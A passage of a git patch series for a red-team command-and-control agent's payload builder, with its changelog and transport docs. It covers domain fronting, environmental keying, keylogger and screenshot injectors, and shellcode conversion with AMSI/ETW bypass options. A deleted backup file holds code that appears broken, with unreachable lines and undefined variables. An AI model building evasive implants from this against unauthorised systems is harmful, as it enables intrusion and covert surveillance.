with open(config_path, 'w', encoding='utf-8') as f: + f.writelines(filtered_lines) + + +def filter_csproj_profile_references(csproj_path: str, selected_profiles: list[str]) -> None: + """ + Modify Apollo.csproj to include only ProjectReference entries for selected profiles. + Simple line-by-line filtering + """ + # Map profile names to their line content in csproj + profile_lines = { + 'http': ' ', + 'httpx': ' ', + 'smb': ' ', + 'tcp': ' ', + 'websocket': ' ' + } + + # Also track HttpxTransform + httpx_transform_line = ' ' + + # Read lines + with open(csproj_path, 'r', encoding='utf-8') as f: + lines = f.readlines() + + # Filter lines: keep core references and selected profile references + filtered_lines = [] + for line in lines: + # Check if this is a profile reference line + is_profile_line = False + for profile_name, profile_line in profile_lines.items(): + if profile_line in line: + # Keep only if this profile is selected + if profile_name in selected_profiles: + filtered_lines.append(line) + is_profile_line = True + break + + # Check if this is HttpxTransform line + if httpx_transform_line in line: + # Keep only if httpx is selected + if 'httpx' in selected_profiles: + filtered_lines.append(line) + elif not is_profile_line: + # Keep all non-profile lines as-is + filtered_lines.append(line) + + # Write back + with open(csproj_path, 'w', encoding='utf-8') as f: + f.writelines(filtered_lines) + + def adjust_file_name(filename, shellcode_format, output_type, adjust_filename): if not adjust_filename: return filename From 916e468393813bc14bcc799d7d9bc794089385c6 Mon Sep 17 00:00:00 2001 From: Melvin Langvik Date: Sun, 26 Oct 2025 17:47:37 +0100 Subject: [PATCH 25/37] Bumped version, updated changelog, time for stress testing --- Payload_Type/apollo/CHANGELOG.MD | 15 +++++++++++++++ .../apollo/mythic/agent_functions/builder.py | 2 +- documentation-payload/apollo/c2_profiles/HTTPX.md | 15 +++++++++++++-- 3 files changed, 29 insertions(+), 3 deletions(-) diff --git a/Payload_Type/apollo/CHANGELOG.MD b/Payload_Type/apollo/CHANGELOG.MD index 5aa93c67..99f81b3a 100644 --- a/Payload_Type/apollo/CHANGELOG.MD +++ b/Payload_Type/apollo/CHANGELOG.MD @@ -4,6 +4,21 @@ All notable changes to this project will be documented in this file. The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). +## [v2.4.1] - 2025-01-XX + +### Added + +- Added support for the HTTPX Profile C2 transport + - Uses client-side generated RSA keys (4096-bit) to perform EKE (Encrypted Key Exchange) + - Supports malleable profile transforms: base64, base64url, netbios, netbiosu, xor, prepend, append + - Supports all REST HTTP methods: GET, POST, PUT, DELETE, PATCH, OPTIONS, HEAD + - Supports message placement in query parameters, cookies, headers, and body + - Supports proxy configuration with authentication + - Supports domain fronting and custom HTTP headers + - Supports failover and round-robin domain rotation strategies +- Added environment keying support for hostname, domain name and registry keys +- Build process now conditionally includes only selected C2 profile projects + ## [v2.4.0] - 2025-10-07 ### Changed diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py b/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py index d6cae3ac..ca192db0 100644 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py +++ b/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py @@ -23,7 +23,7 @@ class Apollo(PayloadType): supported_os = [ SupportedOS.Windows ] - semver = "2.3.51" + semver = "2.4.1" wrapper = False wrapped_payloads = ["scarecrow_wrapper", "service_wrapper"] c2_profiles = ["http", "httpx", "smb", "tcp", "websocket"] diff --git a/documentation-payload/apollo/c2_profiles/HTTPX.md b/documentation-payload/apollo/c2_profiles/HTTPX.md index ed0f87e4..fab20564 100644 --- a/documentation-payload/apollo/c2_profiles/HTTPX.md +++ b/documentation-payload/apollo/c2_profiles/HTTPX.md @@ -37,9 +37,9 @@ Randomize the callback interval within the specified threshold. **Default:** 23 #### Encrypted Exchange Check -Perform encrypted key exchange with Mythic on check-in. Recommended to keep as true. +**Required:** Must be true. The HTTPX profile uses RSA-4096 key exchange (EKE) for secure communication and cannot operate without it. This ensures all traffic is encrypted with client-side generated keys. -**Default:** true +**Default:** true (Cannot be disabled) #### Kill Date The date at which the agent will stop calling back. @@ -75,6 +75,17 @@ Request timeout in seconds for HTTP connections. **Default:** `240` +## Security: RSA Key Exchange (EKE) + +The HTTPX profile implements EKE using client-side generated RSA keys for secure communication: + +- **RSA Key Size:** 4096-bit key pairs generated on the agent side +- **Exchange Process:** Agent generates an RSA keypair and sends the public key to Mythic, which responds with an encrypted session key +- **Security:** All communication is encrypted using this negotiated session key +- **Requirement:** EKE is mandatory and cannot be disabled in the HTTPX profile + +This ensures that even if the communication is intercepted, without the private key on the agent, the traffic remains encrypted. + ## Malleable Profile Configuration The httpx profile supports extensive customization through malleable profiles defined in JSON format. From 8ee7117b4b96243057a46acd918753860d29c89f Mon Sep 17 00:00:00 2001 From: Melvin Langvik Date: Mon, 27 Oct 2025 21:14:34 +0100 Subject: [PATCH 26/37] Cleanup and dialed down debug stdout --- .../apollo/mythic/agent_functions/builder.py | 35 +- .../mythic/agent_functions/builder.py.backup | 660 ------------------ 2 files changed, 1 insertion(+), 694 deletions(-) delete mode 100644 Payload_Type/apollo/apollo/mythic/agent_functions/builder.py.backup diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py b/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py index ca192db0..690bb4b7 100644 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py +++ b/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py @@ -277,9 +277,6 @@ async def build(self) -> BuildResponse: for key, val in c2.get_parameters_dict().items(): prefixed_key = f"{profile['name'].lower()}_{key}" - # Debug: print the parameter being processed - stdout_err += f"\nProcessing {profile['name']} parameter: {key} -> {prefixed_key}\n" - # Check for raw_c2_config file parameter FIRST before other type checks if key == "raw_c2_config" and profile['name'] == "httpx": # Handle httpx raw_c2_config file parameter - REQUIRED for httpx profile @@ -315,8 +312,6 @@ async def build(self) -> BuildResponse: # Base64 encode to avoid C# string escaping issues import base64 encoded_config = base64.b64encode(raw_config_file_data.encode('utf-8')).decode('ascii') - stdout_err += f" Reading raw_c2_config file (original length: {len(raw_config_file_data)}, encoded length: {len(encoded_config)})\n" - stdout_err += f" First 100 chars of encoded: {encoded_config[:100]}...\n" special_files_map["Config.cs"][prefixed_key] = encoded_config except Exception as err: @@ -332,14 +327,11 @@ async def build(self) -> BuildResponse: resp.set_build_message("Apollo does not support plaintext encryption") return resp - stdout_err += "Setting {} to {}".format(prefixed_key, val["enc_key"] if val["enc_key"] is not None else "") - # TODO: Prefix the AESPSK variable and also make it specific to each profile special_files_map["Config.cs"][key] = val["enc_key"] if val["enc_key"] is not None else "" elif isinstance(val, list): # Handle list values (like callback_domains as an array) val = ', '.join(str(item) for item in val) - stdout_err += f" Parsing list for '{prefixed_key}', converted to comma-separated: {val[:100]}...\n" # Now process as string if it's a string if isinstance(val, str): @@ -351,7 +343,6 @@ async def build(self) -> BuildResponse: if isinstance(json_val, list): # Join list items with commas val = ', '.join(json_val) - stdout_err += f" Parsing JSON array for '{prefixed_key}', converted to comma-separated: {val[:100]}...\n" except: # If parsing fails, use as-is pass @@ -360,11 +351,9 @@ async def build(self) -> BuildResponse: # Check for newlines in the string that would break C# syntax if '\n' in escaped_val or '\r' in escaped_val: stdout_err += f" WARNING: String '{prefixed_key}' contains newlines! This will break C# syntax.\n" - stdout_err += f" Contains {escaped_val.count(chr(10))} newlines and {escaped_val.count(chr(13))} carriage returns\n" # Replace newlines with escaped versions for C# strings escaped_val = escaped_val.replace('\n', '\\n').replace('\r', '\\r') special_files_map["Config.cs"][prefixed_key] = escaped_val - stdout_err += f" Storing string value for '{prefixed_key}' (length {len(escaped_val)}): {escaped_val[:100]}...\n" elif isinstance(val, bool): if key == "encrypted_exchange_check" and not val: resp.set_status(BuildStatus.Error) @@ -379,6 +368,7 @@ async def build(self) -> BuildResponse: try: # make a temp directory for it to live agent_build_path = tempfile.TemporaryDirectory(suffix=self.uuid) + # shutil to copy payload files over copy_tree(str(self.agent_code_path), agent_build_path.name) @@ -390,13 +380,11 @@ async def build(self) -> BuildResponse: if os.path.exists(csproj_path): try: filter_csproj_profile_references(csproj_path, selected_profiles) - stdout_err += f"\nFiltered Apollo.csproj to include only selected profiles: {', '.join(selected_profiles)}\n" # Also filter Config.cs to remove #define statements for unselected profiles config_path = os.path.join(agent_build_path.name, "Apollo", "Config.cs") if os.path.exists(config_path): filter_config_defines(config_path, selected_profiles) - stdout_err += f"\nFiltered Config.cs to remove unselected profile defines\n" except Exception as e: stdout_err += f"\nWarning: Failed to filter csproj references: {e}. Building with all profiles.\n" @@ -410,25 +398,8 @@ async def build(self) -> BuildResponse: for key, val in special_files_map[specialFile].items(): placeholder = key + "_here" if placeholder in templateFile: - stdout_err += f" Replacing '{placeholder}' with value (length {len(val)})\n" - # For very long strings (like Base64 encoded configs), show first/last chars - if len(val) > 100: - stdout_err += f" Value preview: {val[:50]}...{val[-50:]}\n" templateFile = templateFile.replace(placeholder, val) - # After replacement, check for syntax issues around the replacement - if csFile.endswith("Config.cs") and len(val) > 500: - # Check lines around the replacement to detect issues - lines = templateFile.split('\n') - for i, line in enumerate(lines): - if 'raw_c2_config' in line: - stdout_err += f" Line {i+1}: {line[:200]}...\n" if specialFile == "Config.cs": - # Debug: Save the Config.cs after all replacements to help debug syntax errors - if "Config.cs" in specialFile: - # Write debug copy of Config.cs to stderr - debug_lines = templateFile.split('\n') - for i in range(max(0, 170), min(len(debug_lines), 180)): - stdout_err += f"DEBUG Config.cs line {i+1}: {debug_lines[i]}\n" if len(extra_variables.keys()) > 0: extra_data = "" for key, val in extra_variables.items(): @@ -447,12 +418,8 @@ async def build(self) -> BuildResponse: raw_config = c2.get_parameters_dict().get('raw_c2_config', '') if raw_config and raw_config != "": embed_default_config = False - stdout_err += f"Custom httpx config provided, skipping default config embedding\n" break - if embed_default_config: - stdout_err += f"Using embedded default httpx config\n" - output_path = f"{agent_build_path.name}/{buildPath}/Apollo.exe" # Build command with conditional embedding diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py.backup b/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py.backup deleted file mode 100644 index b4ae14c5..00000000 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py.backup +++ /dev/null @@ -1,660 +0,0 @@ -import datetime -import time - -from mythic_container.PayloadBuilder import * -from mythic_container.MythicCommandBase import * -import os, fnmatch, tempfile, sys, asyncio -from distutils.dir_util import copy_tree -from mythic_container.MythicGoRPC.send_mythic_rpc_callback_next_checkin_range import * -import traceback -import shutil -import json -import pathlib -import hashlib -import toml -from mythic_container.MythicRPC import * - - -class Apollo(PayloadType): - name = "apollo" - file_extension = "exe" - author = "@djhohnstein, @its_a_feature_" - mythic_encrypts = True - supported_os = [ - SupportedOS.Windows - ] - semver = "2.3.51" - wrapper = False - wrapped_payloads = ["scarecrow_wrapper", "service_wrapper"] - c2_profiles = ["http", "httpx", "smb", "tcp", "websocket"] - note = """ -A fully featured .NET 4.0 compatible training agent. Version: {}. -NOTE: P2P Not compatible with v2.2 agents! -NOTE: v2.3.2+ has a different bof loader than 2.3.1 and are incompatible since their arguments are different - """.format(semver) - supports_dynamic_loading = True - shellcode_format_options = ["Binary", "Base64", "C", "Ruby", "Python", "Powershell", "C#", "Hex"] - shellcode_bypass_options = ["None", "Abort on fail", "Continue on fail"] - supports_multiple_c2_instances_in_build = False - supports_multiple_c2_in_build = False - c2_parameter_deviations = { - "http": { - "get_uri": C2ParameterDeviation( - supported=False, - choices=[] # Disabled parameter, but frontend expects array - ), - "query_path_name": C2ParameterDeviation( - supported=False, - choices=[] # Disabled parameter, but frontend expects array - ), - #"headers": C2ParameterDeviation(supported=True, dictionary_choices=[ - # DictionaryChoice(name="User-Agent", default_value="Hello", default_show=True), - # DictionaryChoice(name="HostyHost", default_show=False, default_value=""), - #]) - } - } - build_parameters = [ - BuildParameter( - name="output_type", - parameter_type=BuildParameterType.ChooseOne, - choices=["WinExe", "Shellcode", "Service", "Source"], - default_value="WinExe", - description="Output as shellcode, executable, sourcecode, or service.", - ), - BuildParameter( - name="shellcode_format", - parameter_type=BuildParameterType.ChooseOne, - choices=shellcode_format_options, - default_value="Binary", - description="Donut shellcode format options.", - group_name="Shellcode Options", - hide_conditions=[ - HideCondition(name="output_type", operand=HideConditionOperand.NotEQ, value="Shellcode") - ] - ), - BuildParameter( - name="shellcode_bypass", - parameter_type=BuildParameterType.ChooseOne, - choices=shellcode_bypass_options, - default_value="Continue on fail", - description="Donut shellcode AMSI/WLDP/ETW Bypass options.", - group_name="Shellcode Options", - hide_conditions=[ - HideCondition(name="output_type", operand=HideConditionOperand.NotEQ, value="Shellcode") - ] - ), - BuildParameter( - name="adjust_filename", - parameter_type=BuildParameterType.Boolean, - default_value=False, - description="Automatically adjust payload extension based on selected choices.", - ), - BuildParameter( - name="debug", - parameter_type=BuildParameterType.Boolean, - default_value=False, - description="Create a DEBUG version.", - ), - BuildParameter( - name="enable_keying", - parameter_type=BuildParameterType.Boolean, - default_value=False, - description="Enable environmental keying to restrict agent execution to specific systems.", - group_name="Keying Options", - ), - BuildParameter( - name="keying_method", - parameter_type=BuildParameterType.ChooseOne, - choices=["Hostname", "Domain", "Registry"], - default_value="Hostname", - description="Method of environmental keying.", - group_name="Keying Options", - hide_conditions=[ - HideCondition(name="enable_keying", operand=HideConditionOperand.NotEQ, value=True) - ] - ), - BuildParameter( - name="keying_value", - parameter_type=BuildParameterType.String, - default_value="", - description="The hostname or domain name the agent should match (case-insensitive). Agent will exit if it doesn't match.", - group_name="Keying Options", - hide_conditions=[ - HideCondition(name="enable_keying", operand=HideConditionOperand.NotEQ, value=True), - HideCondition(name="keying_method", operand=HideConditionOperand.EQ, value="Registry") - ] - ), - BuildParameter( - name="registry_path", - parameter_type=BuildParameterType.String, - default_value="", - description="Full registry path (e.g., HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProductName)", - group_name="Keying Options", - hide_conditions=[ - HideCondition(name="enable_keying", operand=HideConditionOperand.NotEQ, value=True), - HideCondition(name="keying_method", operand=HideConditionOperand.NotEQ, value="Registry") - ] - ), - BuildParameter( - name="registry_value", - parameter_type=BuildParameterType.String, - default_value="", - description="The registry value to check against.", - group_name="Keying Options", - hide_conditions=[ - HideCondition(name="enable_keying", operand=HideConditionOperand.NotEQ, value=True), - HideCondition(name="keying_method", operand=HideConditionOperand.NotEQ, value="Registry") - ] - ), - BuildParameter( - name="registry_comparison", - parameter_type=BuildParameterType.ChooseOne, - choices=["Matches", "Contains"], - default_value="Matches", - description="Matches (secure, hash-based) or Contains (WEAK, plaintext comparison). WARNING: Contains mode stores the value in plaintext!", - group_name="Keying Options", - hide_conditions=[ - HideCondition(name="enable_keying", operand=HideConditionOperand.NotEQ, value=True), - HideCondition(name="keying_method", operand=HideConditionOperand.NotEQ, value="Registry") - ] - ) - ] - agent_path = pathlib.Path(".") / "apollo" / "mythic" - agent_code_path = pathlib.Path(".") / "apollo" / "agent_code" - agent_icon_path = agent_path / "agent_functions" / "apollo.svg" - build_steps = [ - BuildStep(step_name="Gathering Files", step_description="Copying files to temp location"), - BuildStep(step_name="Compiling", step_description="Compiling with nuget and dotnet"), - BuildStep(step_name="Donut", step_description="Converting to Shellcode"), - BuildStep(step_name="Creating Service", step_description="Creating Service EXE from Shellcode") - ] - - #async def command_help_function(self, msg: HelpFunctionMessage) -> HelpFunctionMessageResponse: - # return HelpFunctionMessageResponse(output=f"we did it!\nInput: {msg}", success=False) - - - async def build(self) -> BuildResponse: - # this function gets called to create an instance of your payload - resp = BuildResponse(status=BuildStatus.Error) - # debugging - # resp.status = BuildStatus.Success - # return resp - #end debugging - defines_commands_upper = ["#define EXIT"] - if self.get_parameter('debug'): - possibleCommands = await SendMythicRPCCommandSearch(MythicRPCCommandSearchMessage( - SearchPayloadTypeName="apollo", - )) - if possibleCommands.Success: - resp.updated_command_list = [c.Name for c in possibleCommands.Commands] - defines_commands_upper = [f"#define {x.upper()}" for x in resp.updated_command_list] - else: - defines_commands_upper = [f"#define {x.upper()}" for x in self.commands.get_commands()] - # Handle keying parameters - enable_keying = self.get_parameter('enable_keying') - keying_enabled = "true" if enable_keying else "false" - keying_method_str = self.get_parameter('keying_method') if enable_keying else "" - - # Map keying method to numeric value for obfuscation - # 0 = None, 1 = Hostname, 2 = Domain, 3 = Registry - keying_method_map = { - "Hostname": "1", - "Domain": "2", - "Registry": "3" - } - keying_method = keying_method_map.get(keying_method_str, "0") - - # Hash the keying value for security (force uppercase before hashing) - keying_value_hash = "" - registry_path = "" - registry_value = "" - registry_comparison = "0" # Default to 0 for numeric field - - if enable_keying: - if keying_method_str == "Registry": - # Handle registry keying - registry_path = self.get_parameter('registry_path') if self.get_parameter('registry_path') else "" - registry_comparison_str = self.get_parameter('registry_comparison') if self.get_parameter('registry_comparison') else "Matches" - - # Map registry comparison to numeric value: 1 = Matches, 2 = Contains - registry_comparison = "1" if registry_comparison_str == "Matches" else "2" - - registry_value_raw = self.get_parameter('registry_value') if self.get_parameter('registry_value') else "" - - if registry_comparison_str == "Matches": - # Hash the registry value for secure matching - if registry_value_raw: - plaintext_value = registry_value_raw.upper() - keying_value_hash = hashlib.sha256(plaintext_value.encode('utf-8')).hexdigest() - elif registry_comparison_str == "Contains": - # Store plaintext for contains matching (weak security) - registry_value = registry_value_raw - else: - # Handle hostname/domain keying - if self.get_parameter('keying_value'): - plaintext_value = self.get_parameter('keying_value').upper() - keying_value_hash = hashlib.sha256(plaintext_value.encode('utf-8')).hexdigest() - - special_files_map = { - "Config.cs": { - "payload_uuid": self.uuid, - "keying_enabled": keying_enabled, - "keying_method": keying_method, - "keying_value_hash": keying_value_hash, - "registry_path": registry_path, - "registry_value": registry_value, - "registry_comparison": registry_comparison, - }, - } - extra_variables = { - - } - success_message = f"Apollo {self.uuid} Successfully Built" - stdout_err = "" - defines_profiles_upper = [] - compileType = "debug" if self.get_parameter('debug') else "release" - buildPath = "Debug" if self.get_parameter('debug') else "Release" - if len(set([info.get_c2profile()["is_p2p"] for info in self.c2info])) > 1: - resp.set_status(BuildStatus.Error) - resp.set_build_message("Cannot mix egress and P2P C2 profiles") - return resp - - for c2 in self.c2info: - profile = c2.get_c2profile() - defines_profiles_upper.append(f"#define {profile['name'].upper()}") - for key, val in c2.get_parameters_dict().items(): - prefixed_key = f"{profile['name'].lower()}_{key}" - - if isinstance(val, dict) and 'enc_key' in val: - if val["value"] == "none": - resp.set_status(BuildStatus.Error) - resp.set_build_message("Apollo does not support plaintext encryption") - return resp - - stdout_err += "Setting {} to {}".format(prefixed_key, val["enc_key"] if val["enc_key"] is not None else "") - - # TODO: Prefix the AESPSK variable and also make it specific to each profile - special_files_map["Config.cs"][key] = val["enc_key"] if val["enc_key"] is not None else "" - elif isinstance(val, str): - special_files_map["Config.cs"][prefixed_key] = val.replace("\\", "\\\\") - elif isinstance(val, bool): - if key == "encrypted_exchange_check" and not val: - resp.set_status(BuildStatus.Error) - resp.set_build_message(f"Encrypted exchange check needs to be set for the {profile['name']} C2 profile") - return resp - special_files_map["Config.cs"][prefixed_key] = "true" if val else "false" - elif isinstance(val, dict): - extra_variables = {**extra_variables, **val} - elif key == "raw_c2_config" and profile['name'] == "httpx": - # Handle httpx raw_c2_config file parameter like Xenon does - # Apollo will process it internally AND pass it through to C2 profile - if val and val != "": - try: - # Read configuration file contents - response = await SendMythicRPCFileGetContent(MythicRPCFileGetContentMessage(val)) - - if not response.Success: - resp.set_status(BuildStatus.Error) - resp.build_stderr = f"Error reading raw_c2_config file: {response.Error}" - return resp - - raw_config_file_data = response.Content.decode('utf-8') - - # Try parsing the content as JSON first - try: - config_data = json.loads(raw_config_file_data) - except json.JSONDecodeError: - # If JSON fails, try parsing as TOML - try: - config_data = toml.loads(raw_config_file_data) - except Exception as toml_err: - resp.set_status(BuildStatus.Error) - resp.build_stderr = f"Failed to parse raw_c2_config as JSON or TOML: {toml_err}" - return resp - - # Store the parsed config for Apollo to use - special_files_map["Config.cs"][prefixed_key] = raw_config_file_data - - except Exception as err: - resp.set_status(BuildStatus.Error) - resp.build_stderr = f"Error processing raw_c2_config: {str(err)}" - return resp - else: - # Use default config (empty string - Apollo will use embedded default) - special_files_map["Config.cs"][prefixed_key] = "" - else: - special_files_map["Config.cs"][prefixed_key] = json.dumps(val) - - try: - # make a temp directory for it to live - agent_build_path = tempfile.TemporaryDirectory(suffix=self.uuid) - # shutil to copy payload files over - copy_tree(str(self.agent_code_path), agent_build_path.name) - # first replace everything in the c2 profiles - for csFile in get_csharp_files(agent_build_path.name): - templateFile = open(csFile, "rb").read().decode() - templateFile = templateFile.replace("#define C2PROFILE_NAME_UPPER", "\n".join(defines_profiles_upper)) - templateFile = templateFile.replace("#define COMMAND_NAME_UPPER", "\n".join(defines_commands_upper)) - for specialFile in special_files_map.keys(): - if csFile.endswith(specialFile): - for key, val in special_files_map[specialFile].items(): - templateFile = templateFile.replace(key + "_here", val) - if specialFile == "Config.cs": - if len(extra_variables.keys()) > 0: - extra_data = "" - for key, val in extra_variables.items(): - extra_data += " { \"" + key + "\", \"" + val + "\" },\n" - templateFile = templateFile.replace("HTTP_ADDITIONAL_HEADERS_HERE", extra_data) - else: - templateFile = templateFile.replace("HTTP_ADDITIONAL_HEADERS_HERE", "") - with open(csFile, "wb") as f: - f.write(templateFile.encode()) - - # Determine if we need to embed the default config - embed_default_config = True - for c2 in self.c2info: - profile = c2.get_c2profile() - if profile['name'] == 'httpx': - raw_config = c2.get_parameters_dict().get('raw_c2_config', '') - if raw_config and raw_config != "": - embed_default_config = False - stdout_err += f"Custom httpx config provided, skipping default config embedding\n" - break - - if embed_default_config: - stdout_err += f"Using embedded default httpx config\n" - - output_path = f"{agent_build_path.name}/{buildPath}/Apollo.exe" - - # Build command with conditional embedding - if self.get_parameter('debug'): - command = f"dotnet build -c {compileType} -p:Platform=\"Any CPU\" -p:EmbedDefaultConfig={str(embed_default_config).lower()} -o {agent_build_path.name}/{buildPath}/" - else: - command = f"dotnet build -c {compileType} -p:DebugType=None -p:DebugSymbols=false -p:Platform=\"Any CPU\" -p:EmbedDefaultConfig={str(embed_default_config).lower()} -o {agent_build_path.name}/{buildPath}/" - await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage( - PayloadUUID=self.uuid, - StepName="Gathering Files", - StepStdout="Found all files for payload", - StepSuccess=True - )) - proc = await asyncio.create_subprocess_shell(command, stdout=asyncio.subprocess.PIPE, - stderr=asyncio.subprocess.PIPE, cwd=agent_build_path.name) - stdout, stderr = await proc.communicate() - - build_success = True - if proc.returncode != 0: - build_success = False - logging.error(f"Command failed with exit code {proc.returncode}") - logging.error(f"[stderr]: {stderr.decode()}") - stdout_err += f'[stderr]\n{stderr.decode()}' + "\n" + command - else: - logging.info(f"[stdout]: {stdout.decode()}") - stdout_err += f'\n[stdout]\n{stdout.decode()}\n' - logging.info(f"[+] Compiled agent written to {output_path}") - - if build_success and os.path.exists(output_path): - await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage( - PayloadUUID=self.uuid, - StepName="Compiling", - StepStdout="Successfully compiled payload", - StepSuccess=True - )) - resp.status = BuildStatus.Success - - targetExeAsmPath = "/srv/ExecuteAssembly.exe" - targetPowerPickPath = "/srv/PowerShellHost.exe" - targetScreenshotInjectPath = "/srv/ScreenshotInject.exe" - targetKeylogInjectPath = "/srv/KeylogInject.exe" - targetExecutePEPath = "/srv/ExecutePE.exe" - targetInteropPath = "/srv/ApolloInterop.dll" - shutil.move(f"{agent_build_path.name}/{buildPath}/ExecuteAssembly.exe", targetExeAsmPath) - shutil.move(f"{agent_build_path.name}/{buildPath}/PowerShellHost.exe", targetPowerPickPath) - shutil.move(f"{agent_build_path.name}/{buildPath}/ScreenshotInject.exe", targetScreenshotInjectPath) - shutil.move(f"{agent_build_path.name}/{buildPath}/KeylogInject.exe", targetKeylogInjectPath) - shutil.move(f"{agent_build_path.name}/{buildPath}/ExecutePE.exe", targetExecutePEPath) - shutil.move(f"{agent_build_path.name}/{buildPath}/ApolloInterop.dll", targetInteropPath) - if self.get_parameter('output_type') == "Source": - shutil.make_archive(f"/tmp/{agent_build_path.name}/source", "zip", f"{agent_build_path.name}") - await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage( - PayloadUUID=self.uuid, - StepName="Donut", - StepStdout="Not converting to Shellcode through donut, passing through.", - StepSuccess=True - )) - resp.payload = open(f"/tmp/{agent_build_path.name}/source.zip", 'rb').read() - resp.build_message = success_message - resp.status = BuildStatus.Success - resp.build_stdout = stdout_err - resp.updated_filename = adjust_file_name(self.filename, - self.get_parameter("shellcode_format"), - self.get_parameter("output_type"), - self.get_parameter("adjust_filename")) - #need to cleanup zip folder - shutil.rmtree(f"/tmp/tmp") - elif self.get_parameter('output_type') == "WinExe": - await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage( - PayloadUUID=self.uuid, - StepName="Donut", - StepStdout="Not converting to Shellcode through donut, passing through.", - StepSuccess=True - )) - resp.payload = open(output_path, 'rb').read() - resp.build_message = success_message - resp.status = BuildStatus.Success - resp.build_stdout = stdout_err - resp.updated_filename = adjust_file_name(self.filename, - self.get_parameter("shellcode_format"), - self.get_parameter("output_type"), - self.get_parameter("adjust_filename")) - else: - # Build failed - await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage( - PayloadUUID=self.uuid, - StepName="Compiling", - StepStdout=f"Build failed with exit code {proc.returncode if 'proc' in locals() else 'unknown'}", - StepSuccess=False - )) - resp.build_message = "Build failed" - resp.status = BuildStatus.Error - resp.payload = b"" - resp.build_stderr = stdout_err - return resp - stdout, stderr = await proc.communicate() - command = "{} -x3 -k2 -o loader.bin -i {}".format(donutPath, output_path) - if self.get_parameter('output_type') == "Shellcode": - command += f" -f{self.shellcode_format_options.index(self.get_parameter('shellcode_format')) + 1}" - command += f" -b{self.shellcode_bypass_options.index(self.get_parameter('shellcode_bypass')) + 1}" - # need to go through one more step to turn our exe into shellcode - proc = await asyncio.create_subprocess_shell(command, stdout=asyncio.subprocess.PIPE, - stderr=asyncio.subprocess.PIPE, - cwd=agent_build_path.name) - stdout, stderr = await proc.communicate() - - stdout_err += f'[stdout]\n{stdout.decode()}\n' - stdout_err += f'[stderr]\n{stderr.decode()}' - - if not os.path.exists(shellcode_path): - await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage( - PayloadUUID=self.uuid, - StepName="Donut", - StepStdout=f"Failed to pass through donut:\n{command}\n{stdout_err}", - StepSuccess=False - )) - resp.build_message = "Failed to create shellcode" - resp.status = BuildStatus.Error - resp.payload = b"" - resp.build_stderr = stdout_err - else: - await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage( - PayloadUUID=self.uuid, - StepName="Donut", - StepStdout=f"Successfully passed through donut:\n{command}", - StepSuccess=True - )) - if self.get_parameter('output_type') == "Shellcode": - resp.payload = open(shellcode_path, 'rb').read() - resp.build_message = success_message - resp.status = BuildStatus.Success - resp.build_stdout = stdout_err - resp.updated_filename = adjust_file_name(self.filename, - self.get_parameter("shellcode_format"), - self.get_parameter("output_type"), - self.get_parameter("adjust_filename")) - else: - # we're generating a service executable - working_path = ( - pathlib.PurePath(agent_build_path.name) - / "Service" - / "WindowsService1" - / "Resources" - / "loader.bin" - ) - shutil.move(shellcode_path, working_path) - if self.get_parameter('debug'): - command = f"dotnet build -c {compileType} -p:OutputType=WinExe -p:Platform=\"Any CPU\"" - else: - command = f"dotnet build -c {compileType} -p:DebugType=None -p:DebugSymbols=false -p:OutputType=WinExe -p:Platform=\"Any CPU\"" - proc = await asyncio.create_subprocess_shell( - command, - stdout=asyncio.subprocess.PIPE, - stderr=asyncio.subprocess.PIPE, - cwd=pathlib.PurePath(agent_build_path.name) / "Service", - ) - stdout, stderr = await proc.communicate() - if stdout: - stdout_err += f"[stdout]\n{stdout.decode()}" - if stderr: - stdout_err += f"[stderr]\n{stderr.decode()}" - output_path = ( - pathlib.PurePath(agent_build_path.name) - / "Service" - / "WindowsService1" - / "bin" - / f"{buildPath}" - / "net451" - / "WindowsService1.exe" - ) - output_path = str(output_path) - if os.path.exists(output_path): - resp.payload = open(output_path, "rb").read() - resp.status = BuildStatus.Success - resp.build_message = "New Service Executable created!" - await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage( - PayloadUUID=self.uuid, - StepName="Creating Service", - StepStdout=stdout_err, - StepSuccess=True - )) - resp.updated_filename = adjust_file_name(self.filename, - self.get_parameter("shellcode_format"), - self.get_parameter("output_type"), - self.get_parameter("adjust_filename")) - else: - resp.payload = b"" - resp.status = BuildStatus.Error - resp.build_stderr = stdout_err + "\n" + output_path - await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage( - PayloadUUID=self.uuid, - StepName="Creating Service", - StepStdout=stdout_err, - StepSuccess=False - )) - - else: - # something went wrong, return our errors - await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage( - PayloadUUID=self.uuid, - StepName="Compiling", - StepStdout=stdout_err, - StepSuccess=False - )) - resp.status = BuildStatus.Error - resp.payload = b"" - resp.build_message = "Unknown error while building payload. Check the stderr for this build." - resp.build_stderr = stdout_err - except Exception as e: - resp.payload = b"" - resp.status = BuildStatus.Error - resp.build_message = "Error building payload: " + str(traceback.format_exc()) - #await asyncio.sleep(10000) - return resp - - async def check_if_callbacks_alive(self, - message: PTCheckIfCallbacksAliveMessage) -> PTCheckIfCallbacksAliveMessageResponse: - response = PTCheckIfCallbacksAliveMessageResponse(Success=True) - for callback in 